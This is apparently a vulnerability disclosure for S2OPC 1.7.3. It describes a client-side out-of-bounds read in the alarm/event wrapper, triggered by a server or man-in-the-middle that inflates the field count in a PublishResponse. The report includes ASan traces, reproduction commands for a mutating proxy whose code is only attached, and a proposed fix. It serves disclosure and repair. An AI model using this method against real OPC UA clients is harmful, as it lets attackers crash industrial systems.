## Summary I found a **client-side out-of-bounds read** in the **A&C / event-management wrapper path** of **S2OPC 1.7.3**. A malicious OPC UA server, or a man-in-the-middle able to tamper with server-to-client `PublishResponse` traffic, can increase the first real event's `EventFieldList.NoOfEventFields` by **one** and append one extra `Null` `Variant`. The S2OPC client alarm wrapper then trusts the remote field count as the loop bound and reads past the local `alarm_selectClauses` pointer array. The out-of-bounds value is later reused as a string path and reaches `strlen()` through the event manager dictionary lookup path, causing a reproducible client crash. The crash happens on the real path: `toolkit_demo_server_alarms -> ua_proxy -> s2opc_wrapper_alarm_group_min` The observed impact is a **remote client-side denial of service** with clear memory-safety evidence. --- ## Version - **Affected release:** **1.7.3** - **Observed source commit:** **`b4c5c7d63cd69698461d514b905a7c92b3c377c4`** --- ## Security impact A remote attacker controlling the OPC UA server, or a MITM modifying a valid `PublishResponse`, can crash the S2OPC client process when the client uses the official alarm/event wrapper APIs. The current evidence supports **reliable remote DoS**. The primitive demonstrated by the logs and debugger is: - remote-controlled loop bound - local pointer-array out-of-bounds read - invalid pointer reuse as a string path - crash during downstream dereference --- ## Full ASan <details> <summary>Click Here for ASan</summary> ```bash ================================================================= ==41149==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7d7ad459d8bd bp 0x7d7ad17fe6c0 sp 0x7d7ad17fde58 T1) ==41149==The signal is caused by a READ memory access. ==41149==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x7d7ad459d8bd (/lib/x86_64-linux-gnu/libc.so.6+0x19d8bd) #1 0x63edbdf8023b in __interceptor_strlen.part.0 (/home/weichuan/wc/S2OPC/build-alarms-asan/bin/s2opc_wrapper_alarm_group_min+0xa023b) #2 0x63edbe03ce75 in str_hash /home/weichuan/wc/S2OPC/src/ClientServer/address_space/sopc_event_manager.c:1013 #3 0x63edbe162059 in get_internal /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_dict.c:320 #4 0x63edbe16328a in SOPC_Dict_Get /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_dict.c:354 #5 0x63edbe03fe35 in SOPC_Event_SetVariableFromStrPath /home/weichuan/wc/S2OPC/src/ClientServer/address_space/sopc_event_manager.c:667 #6 0x63edbe064368 in SOPC_MonitoredAlarm_TriggerSubscriptionNotification /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c:396 #7 0x63edbe064368 in SOPC_MonitoredAlarm_TriggerSubscriptionNotification /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c:323 #8 0x63edbe062039 in LockedStaMac_ProcessMsg_PubResp_EventNotifList /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1967 #9 0x63edbe062039 in LockedStaMac_ProcessMsg_PublishResponse /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2084 #10 0x63edbe062039 in SOPC_StaMac_EventDispatcher /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1602 #11 0x63edbe05083e in SOPC_ClientInternal_ToolkitEventCallback /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/libs2opc_client.c:493 #12 0x63edbe09f54a in onComEvent /home/weichuan/wc/S2OPC/src/ClientServer/api_toolkit/sopc_internal_app_dispatcher.c:131 #13 0x63edbe1639ea in looper_loop /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_event_handler.c:108 #14 0x7d7ad4494ac2 in start_thread nptl/pthread_create.c:442 #15 0x7d7ad45268cf (/lib/x86_64-linux-gnu/libc.so.6+0x1268cf) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x19d8bd) Thread T1 created by T0 here: #0 0x63edbdf9aea5 in __interceptor_pthread_create (/home/weichuan/wc/S2OPC/build-alarms-asan/bin/s2opc_wrapper_alarm_group_min+0xbaea5) #1 0x63edbe15b931 in create_thread /home/weichuan/wc/S2OPC/src/Common/helpers_platform_dep/linux/p_sopc_threads.c:275 #2 0x63edbe15b931 in SOPC_Thread_Create /home/weichuan/wc/S2OPC/src/Common/helpers_platform_dep/linux/p_sopc_threads.c:336 #3 0x63edbe164222 in SOPC_Looper_Create /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_event_handler.c:167 #4 0x63edbe09fa43 in SOPC_App_Initialize /home/weichuan/wc/S2OPC/src/ClientServer/api_toolkit/sopc_internal_app_dispatcher.c:215 #5 0x63edbe0702d1 in SOPC_Toolkit_Initialize /home/weichuan/wc/S2OPC/src/ClientServer/configuration/sopc_toolkit_config.c:137 #6 0x63edbe0439d3 in SOPC_CommonHelper_Initialize /home/weichuan/wc/S2OPC/src/ClientServer/frontend/common_wrapper/libs2opc_common_config.c:145 #7 0x63edbdf63fd5 in InitAll /home/weichuan/wc/S2OPC/samples/ClientServer/client_wrapper/examples/alarm_group_min.c:74 #8 0x63edbdf63fd5 in main /home/weichuan/wc/S2OPC/samples/ClientServer/client_wrapper/examples/alarm_group_min.c:113 #9 0x7d7ad4429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 ==41149==ABORTING Aborted (core dumped) ``` </details> --- ## Affected path ### Primary vulnerable logic - `src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c:361` - `src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c:395` - `src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c:396` ### Downstream crash path - `src/ClientServer/address_space/sopc_event_manager.c:667` - `src/ClientServer/address_space/sopc_event_manager.c:1013` ### Callback chain - `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1967` - `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2084` - `src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1602` ### Sample entry points - `samples/ClientServer/client_wrapper/examples/alarm_group_min.c:138` - `samples/ClientServer/client_wrapper/examples/alarm_group_min.c:149` --- ## Root cause ### Short form The bug is caused by a **trust boundary violation** between: 1. the **local** number of select-clause paths stored in `MAgroup->alarm_selectClauses`, and 2. the **remote** `event->NoOfEventFields` value received inside `PublishResponse(EventNotificationList)`. The client builds a fixed local pointer array during monitored-item creation, but later uses the server-provided event field count as the loop bound when decoding event fields. The code does **not** verify that `iField - 1` stays within `alarm_selectClauses_len`. ### Detailed explanation During alarm monitored-item creation, the wrapper builds the event filter locally and allocates the select-clause path array based on the number of variables in the local alarm event model. The relevant logic is: 1. obtain the local alarm event instance 2. compute the number of variables with `SOPC_Event_GetNbVariables(alarmEvent)` 3. allocate `maGroup->alarm_selectClauses` 4. fill it through `SOPC_Event_ForEachVar(...)` 5. store the resulting length in `maGroup->alarm_selectClauses_len` So the local array length is fixed by the client-side model used when creating the monitored item. Later, when a publish notification is processed, the wrapper callback receives `OpcUa_EventNotificationList` and iterates over the events. For each event, it then iterates over the fields using the **remote** count: - `for (iField = 0; iField < event->NoOfEventFields; iField++)` Field `0` is treated specially as `ConditionId`. For all following fields, the code maps the field back to a local string path using: - `MAgroup->alarm_selectClauses[iField - 1]` However, there is **no bounds check** ensuring: - `iField - 1 < MAgroup->alarm_selectClauses_len` As soon as the server inflates `NoOfEventFields` beyond the local number of known select clauses plus the special `ConditionId` slot, the client reads outside the local pointer array. The bug becomes externally visible because the out-of-bounds value is not merely read and discarded. It is passed as a path string into the event manager path-resolution code: - `SOPC_Event_SetVariableFromStrPath(...)` - `SOPC_Dict_Get(...)` - `str_hash(...)` - `strlen(...)` At that point, a garbage pointer obtained from the out-of-bounds read is dereferenced as a C string, leading to a crash. ### Observed debugger values In GDB, the following values were captured at the out-of-bounds read site: ```bash === OOB candidate === i=47 NoOfEventFields=48 alarm_selectClauses_len=46 MAgroup=0x5040000008d0 alarm_selectClauses=0x51300000ffc0 event=0x504000006090 EventFields=0x51c000000880 about to read alarm_selectClauses[46] candidate ptr=0xbebebebebebebebe ``` This is the critical mismatch: - `NoOfEventFields = 48` - `alarm_selectClauses_len = 46` - loop index `i = 47` - array index used is `i - 1 = 46` - valid indices are only `0..45` So the client is about to read `alarm_selectClauses[46]`, which is a true out-of-bounds access. --- ## PoC [PoC.zip](https://github.com/user-attachments/files/29192561/PoC.zip) --- ## Reproduction ### Build ```bash env BUILD_DIR=build-asan \ S2OPC_CLIENTSERVER_ONLY=ON \ WITH_ASAN=ON \ ENABLE_TESTING=OFF \ ENABLE_SAMPLES=ON \ WARNINGS_AS_ERRORS=OFF \ S2OPC_EVENT_MANAGEMENT=ON \ CMAKE_C_FLAGS='-O1 -g -fno-omit-frame-pointer' \ ./build.sh --jobs 8 --target toolkit_demo_server_alarms s2opc_wrapper_alarm_group_min ``` ### Run the official alarm demo server ```bash cd S2OPC/build-asan/bin env TEST_SERVER_XML_CONFIG=./S2OPC_Server_Demo_Config_unencrypted_none.xml \ TEST_SERVER_XML_ADDRESS_SPACE=./S2OPC_Demo_Alarms_NodeSet.xml \ TEST_USERS_XML_CONFIG=./S2OPC_Users_Demo_Config.xml \ ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \ ./toolkit_demo_server_alarms ``` Expected startup output: ```bash S2OPC_Common - Version: 1.7.3, SrcCommit: b4c5c7d63cd69698461d514b905a7c92b3c377c4*, DockerId: , BuildDate: 2026-06-12 S2OPC_ClientServer - Version: 1.7.3, SrcCommit: b4c5c7d63cd69698461d514b905a7c92b3c377c4*, DockerId: , BuildDate: 2026-06-12 <Demo_Server_Alarms: Server started ``` ### Run the proxy that minimally mutates one real `PublishResponse` ```bash cd S2OPC python3 ua_proxy.py \ --listen-port 4842 \ --upstream-port 4841 \ --inflate-event-fields-data-occurrence 1 \ --inflate-event-fields-extra 1 ``` Observed proxy behavior: - the handshake and session creation are passed through normally - subscription and monitored-item creation succeed - `ConditionRefresh2` is issued normally - the proxy waits for the **first real** `PublishResponse` containing event data - only then it increases the first event's field count by one and appends one extra `Null Variant` Representative proxy output: ```bash [13:11:55] srv->cli recv: type=MSG final=F seq=11 req=11 token=1975456794 service=PublishResponse notifData=1 events=2 [13:11:55] mutated server PublishResponse occurrence 5: extra_event_fields=1 [13:11:55] srv->cli send pass: type=MSG final=F seq=11 req=11 token=1975456794 service=PublishResponse ``` ### Run the official client wrapper sample ```bash cd S2OPC/build-asan/bin env ASAN_OPTIONS='detect_leaks=0:halt_on_error=1:abort_on_error=1' \ ALARM_SERVER_URL='opc.tcp://127.0.0.1:4842' \ ALARM_DO_REFRESH=1 \ ALARM_SLEEP_MS=5000 \ ./s2opc_wrapper_alarm_group_min ``` ### Observed result ```bash alarm_group_min status=0 group=0x5040000008d0 alarm_group_min refresh status=0x801F0000 AddressSanitizer:DEADLYSIGNAL ==41149==ERROR: AddressSanitizer: SEGV on unknown address ==41149==The signal is caused by a READ memory access. #1 __interceptor_strlen.part.0 #2 str_hash /home/weichuan/wc/S2OPC/src/ClientServer/address_space/sopc_event_manager.c:1013 #4 SOPC_Dict_Get /home/weichuan/wc/S2OPC/src/Common/helpers/sopc_dict.c:354 #5 SOPC_Event_SetVariableFromStrPath /home/weichuan/wc/S2OPC/src/ClientServer/address_space/sopc_event_manager.c:667 #6 SOPC_MonitoredAlarm_TriggerSubscriptionNotification /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c:396 #8 LockedStaMac_ProcessMsg_PubResp_EventNotifList /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:1967 #9 LockedStaMac_ProcessMsg_PublishResponse /home/weichuan/wc/S2OPC/src/ClientServer/frontend/client_wrapper/internal/state_machine.c:2084 ``` ### Result analysis This demonstrates that: 1. the official server starts normally 2. the client completes the normal wrapper workflow 3. the proxy mutates only one real `PublishResponse` carrying event data 4. the crash occurs in the wrapper's event-notification handling path 5. the failing access is a **read** 6. the crashing downstream path is consistent with a garbage pointer being reused as a string key --- ## Fix suggestion ### Fix strategy The notification path must not trust `event->NoOfEventFields` blindly. A robust fix should do **both** of the following: 1. reject an event if `event->NoOfEventFields` exceeds the locally known field budget 2. re-check the array index immediately before accessing `alarm_selectClauses[iField - 1]` The effective invariant for this wrapper is: ```bash NoOfEventFields <= 1 + alarm_selectClauses_len ``` where field `0` is the special `ConditionId` slot. ### Proposed patch Below is a minimal defensive patch for `SOPC_MonitoredAlarm_TriggerSubscriptionNotification()`. ```c diff --git a/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c b/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c index XXXXXXX..YYYYYYY 100644 --- a/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c +++ b/src/ClientServer/frontend/client_wrapper/alarm_conditions/libs2opc_client_alarm_conditions.c @@ -345,6 +345,7 @@ static void SOPC_MonitoredAlarm_TriggerSubscriptionNotification( bool localExpectedContentReceived = ((int32_t) nbNotifElts == eventList->NoOfEvents); // Retrieve alarm group associated with the MI that received the notification SOPC_MonitoredAlarmsGroup* MAgroup = (SOPC_MonitoredAlarmsGroup*) monitoredItemCtxArray[0]; + for (int32_t i = 0; localExpectedContentReceived && i < eventList->NoOfEvents; i++) { const OpcUa_EventFieldList* event = &eventList->Events[i]; @@ -352,9 +353,26 @@ static void SOPC_MonitoredAlarm_TriggerSubscriptionNotification( // Create SOPC_Event that will be stored in alarm (field lastEvent) SOPC_Event* alarmConditionTypeEvent = SOPC_Event_GetInstanceAlarmConditionType(); SOPC_ReturnStatus stat = (NULL != alarmConditionTypeEvent) ? SOPC_STATUS_OK : SOPC_STATUS_OUT_OF_MEMORY; + + const int32_t maxExpectedFields = (int32_t) MAgroup->alarm_selectClauses_len + 1; /* +1 for ConditionId */ + if (event->NoOfEventFields < 1 || event->NoOfEventFields > maxExpectedFields) + { + SOPC_Logger_TraceWarning( + SOPC_LOG_MODULE_CLIENTSERVER, + "A&C CLIENT: unexpected EventFieldList size: received=%" PRIi32 " expected<=%" PRIi32 "\n", + event->NoOfEventFields, maxExpectedFields); + stat = SOPC_STATUS_NOK; + } // Fill event fields for (int32_t iField = 0; SOPC_STATUS_OK == stat && iField < event->NoOfEventFields; iField++) { const SOPC_Variant* var = &event->EventFields[iField]; + SOPC_Buffer_Reset(buf); SOPC_Variant_Dump(buf, var); @@ -389,9 +407,26 @@ static void SOPC_MonitoredAlarm_TriggerSubscriptionNotification( } else { - const char* clauseStr = MAgroup->alarm_selectClauses[iField - 1]; - stat = SOPC_Event_SetVariableFromStrPath(alarmConditionTypeEvent, clauseStr, var); + const size_t clauseIdx = (size_t) (iField - 1); + if (clauseIdx >= MAgroup->alarm_selectClauses_len || NULL == MAgroup->alarm_selectClauses[clauseIdx]) + { + SOPC_Logger_TraceWarning( + SOPC_LOG_MODULE_CLIENTSERVER, + "A&C CLIENT: dropping malformed event: field index=%" PRIi32 ", known select clauses=%zu\n", + iField, MAgroup->alarm_selectClauses_len); + stat = SOPC_STATUS_NOK; + break; + } + + const char* clauseStr = MAgroup->alarm_selectClauses[clauseIdx]; + stat = SOPC_Event_SetVariableFromStrPath(alarmConditionTypeEvent, clauseStr, var); } } + + if (SOPC_STATUS_OK != stat) + { + SOPC_Event_Delete(&alarmConditionTypeEvent); + continue; + } /* existing success path remains unchanged */ } ``` --- ## Conclusion This is a **real client-side memory-safety bug** in the S2OPC 1.7.3 alarm/event wrapper. The issue is caused by a missing bounds check when mapping remotely supplied event-field counts onto a locally allocated select-clause pointer array. The result is a reproducible out-of-bounds read followed by invalid pointer dereference during event-path lookup. The currently demonstrated security consequence is **remote denial of service against the client**.